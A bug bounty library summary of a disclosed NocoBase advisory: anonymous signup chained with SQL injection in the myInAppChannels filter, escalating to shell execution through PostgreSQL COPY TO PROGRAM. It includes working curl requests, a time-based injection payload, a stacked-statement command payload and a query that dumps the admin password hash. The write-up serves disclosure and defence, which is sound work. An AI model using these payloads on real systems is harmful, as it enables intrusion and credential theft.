# NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE

Unauthenticated signup plus SQL injection in NocoBase's myInAppChannels filter lets an attacker read any row and run shell commands as postgres via COPY TO PROGRAM.

- Payout: Research
- Severity: critical
- Program: NocoBase
- Found by: kah-ja
- Disclosed: 2026-07-31
- CVE: CVE-2026-52887
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-p849-8hwh-84j9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p849-8hwh-84j9
- Tags: area:web domain:api domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:docker tech:nodejs technique:chained technique:source-review vuln:auth-bypass vuln:rce vuln:sqli

**Target:** GET /api/myInAppChannels:list filter query parameter (Sequelize literal)
**Root cause:** The latestMsgReceiveTimestamp $lt filter value is interpolated into a Sequelize.literal() template string with no escaping or parameter binding. The action ACL is 'loggedIn' and auth-basic ships allowSignUp:true, so any anonymous visitor can obtain a member account.
**Steps:**
1. Sign up anonymously: `POST /api/auth:signUp?authenticator=basic` with `{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}`
2. Sign in via `POST /api/auth:signIn?authenticator=basic` to get a member JWT
3. Confirm injection with time-based oracle: `filter[latestMsgReceiveTimestamp][$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a` (~5s delay)
4. Execute shell via stacked statement: `filter[latestMsgReceiveTimestamp][$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --`
5. Read output inside DB container: `docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt` returns `uid=999(postgres)`
6. Exfiltrate admin hash: `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`
**How found:** Code review of defineMyInAppChannels.ts spotted ${...} interpolation of the $lt filter into Sequelize.literal with no escape/binding; then checked ACL (loggedIn), signup default, and docker-compose POSTGRES_USER role to confirm anonymous reach and superuser escalation.
**Exploitation:** Anonymous signup yields a member JWT; the injected $lt value breaks out of the literal's parenthesized expression, and the pg driver's simple-query mode accepts stacked statements. COPY ... TO PROGRAM executes shell as the nocobase role, which is rolsuper on the stock postgres:16 image, giving command execution inside the DB container and arbitrary row read including users.password hashes.
**Escalation:** Chained default allowSignUp (anonymous account) + overly broad 'loggedIn' ACL + default superuser DB role to escalate SQLi to container RCE and admin credential theft.
**Insight:** When a filter value lands in Sequelize.literal(), check whether the pg driver runs in simple-query mode (stacked statements) and whether the app's default compose file makes the app DB user a superuser — that turns a blind SQLi into COPY ... TO PROGRAM RCE.

## Proof of concept (copied exactly from the original report)

**Time-based SQLi payload in filter**

```
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
```

**Anonymous sign-up and sign-in to get token**

```
curl -X POST -H 'Content-Type: application/json' \
  -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
  -d '{"account":"a","password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
```

